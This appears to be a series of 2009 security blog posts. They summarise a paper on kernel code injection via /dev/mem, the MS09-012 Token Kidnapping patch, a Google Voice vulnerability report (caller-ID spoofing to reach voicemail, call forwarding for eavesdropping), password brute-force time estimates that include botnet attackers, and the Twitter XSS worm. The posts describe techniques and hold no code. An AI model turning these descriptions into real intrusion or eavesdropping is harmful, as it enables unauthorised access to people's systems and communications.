Taken from paper: "In this paper we will discuss methods for using the character device, /dev/mem, as an entry point for injecting code into the Linux kernel. The ma jority of rootkits for the Linux kernel rely on the use of Loadable Kernel Modules (LKM) to get code into the kernel. We will demonstrate techniques originally developed by Silvio Cesare for using /dev/kmem to patch the Linux kernel and apply them to /dev/mem. We will cover how we can locate important structures, allocate memory in the kernel, and abuse important structures inside the kernel, and propose practical solutions. We will focus on the use of this device on x86 architecture."

You can find the full paper here:

http://www.dtors.org/papers/malicious-code-injection-via-dev-mem.pdf

MS09-012 "Token Kidnapping" Patch

2009-04-14T20:25:00.000-07:00

I have actually seen very minimal coverage of this so far. Microsoft finally released a patch for the "Token Kidnapping" vulnerabilities that were identified by Cesar Cerrudo in March of 2008 at Hack in the Box (Dubai) 2008.

The patch bulletin:

http://www.microsoft.com/technet/security/Bulletin/MS09-012.mspx

The KB article:

http://support.microsoft.com/kb/959454

The MSRC blog entry:

http://blogs.technet.com/msrc/archive/2009/04/14/token-kidnapping.aspx

Cesar Cerrudo's "Token Kidnapping" presentation:

www.argeniss.com/research/TokenKidnapping.pdf

Google Voice Attacks

2009-04-14T20:07:00.000-07:00

There was a joint paper produced by the Secure Science Corporation in partnership with Jay Beale (InGuardians.com), J.A. Simmons V (RedKeep.com, and TelTech Systems (SpoofCard.com) on vulnerabilities that were identified during their assessment of Google's new voice application Google Voice (GV). Taken from the report:

"Google Voice (GV) is the latest offering in Unified Communications from Google. The service features a collective of telephony objectives including the consolidation of multiple phone contact numbers, simplified voice mail features (modeled after a principle email user format) and additional selections such as voice mail sharing, SMS, block calls, screening and preview options.

This technology originates from Google’s purchase of UC provider Grandcentral.com in 2007. As an ideal communication management tool for utilization within corporate/business infrastructures, a broadening interest in GV has developed amongst SSC clientele. In response to numerous requests for a comprehensive security and compliance review of Voice in its current stage, ETAT1 initiated layered analysis of the technology in partnership with SpoofCard.com, InGuardians, and RedKeep. "

I found this report to be very interesting. They were able to

Enumerate private mobile numbers for subscribers of the service.
Spoof caller-id to obtain unauthorized access to other users voice mail and settings including the ability to forward calls to an external number.
In addition to the forwarding portion, they then identified a way to forward the call back to the victim giving them the ability to monitor communications with minimal attack indicators.

You can find a copy of the full report here, it was a very good read:

http://www.securescience.net/exploits/googlevoice/GVSSCETATv1_public.pdf

Enjoy! :)

Internal Password Penetration Testing

2009-04-14T15:41:00.000-07:00

We are now starting to include password attacks in our routine vulnerability assessments due to the amount of incidents that have arose over the last year because of weak passwords. I find myself in kind of a limbo about the effectiveness of these efforts. On one hand we have the opportunity to ensure that passwords that cannot have complexity requirements enforced upon them with technical controls meet our password policy (local accounts, *nix boxes, network devices); and on the the other we have reduced effectiveness of these efforts due to political constraints.

Attackers are not bound by terms of engagement (times of day, password viewing limits), pen-testing scope (NO DoS testing which results in reduced attack speeds) and other political controls. Does this negate these efforts? I am unsure.

If I brute force a system at around 100 login attempts a minute, with a password dictionary of 1000 passwords, utilizing a user dictionary of the 30 most common local account names, I am looking at around 5 hours of scan time. Now multiply this accross 400 systems. Even if you can run 10 scans in paralell at a time, you are now looking at 200 hours of scan time. I am not sure that I can justify this time expenditure to management.

Now going back to the attacker example. If I am an attacker and I have a dictionary with over a million of the most common passwords, and the same 30 common accounts, across the same 400 systems, over 1000 bots (going rate of $80 per 1K.... don't ask) you are looking at around 67 hours of scan time.

What do you think?

Twitter Hysteria & Web Application Security Woes

2009-04-13T21:20:00.000-07:00

You would have to be living in a cave (or maybe just not give a crap) to not have heard about the Twitter worm. What is the real issue here? Why all the hysteria about something that effects millions of other sites on the net, some of which contain data of much higher sensitivity than Twitter? I think that this is really two things:

1. The fact that they creator of the worm was only 17.
2. The popularity of Twitter, and the size of its user base.

Cross-Site Scripting (XSS) was rated as the number one vulnerability on OWASP's Top Ten web application vulnerabilities in 2007 ( http://www.owasp.org/index.php/Top_10_2007-A1 ) and number four in SANS/CWE Top 25 Most Dangerous Programming Errors in 2008 ( http://www.sans.org/top25errors/ ).

How can we get our managers and CIO's to understand the importance of Application Security Reviews (or AppSec as a whole for that matter)? I would suggest two things, embrace the hysteria and use it to your advantage. Managers and executives are generally no more technical then those that feed into the media hype, and let them, leverage this ignorance to bring home the importance of Application Security Reviews and developing a Secure Software Development Life-cycle Process (SDLC). Second, show them that the issue does effect your applications. This can be done either through abusing "home-grown" applications, or using information stored in public vulnerability databases to show that your systems are vulnerable. The point is to make them just a little bit more paranoid and bring them down to our level :).